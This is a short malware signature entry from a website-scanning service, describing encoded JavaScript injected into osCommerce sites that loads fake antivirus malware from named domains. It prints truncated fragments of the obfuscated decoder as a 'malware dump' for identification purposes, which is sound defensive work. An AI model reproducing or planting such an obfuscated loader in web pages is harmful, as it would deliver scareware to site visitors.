SiteCheck Signatures

  1. Home
  2. SiteCheck Signatures
  3. malware-entry-mwjs616

malware-entry-mwjs616

Description:This encoded javascript loads malware (the fake AV) from:
ryffe.com, rchjj.com, etc

Affecting: osCommerce web sites.

Malware dump:


var s=' O   i   vW  f   j   Q   li  w   P   2   0!  4   1! ...
...
if(ch=="    "){c = s.charAt(i+1);i1=s.charCodeAt(i+1);if(i1<127)c = String.fromCharCode(re(re(re(i1,33,cn..
else{c=s.charCodeAt(i);if(c<127)c = re(re(re(c,33,cn,58,90),29,cn,97,125),10,rn,48,57);i1 = c..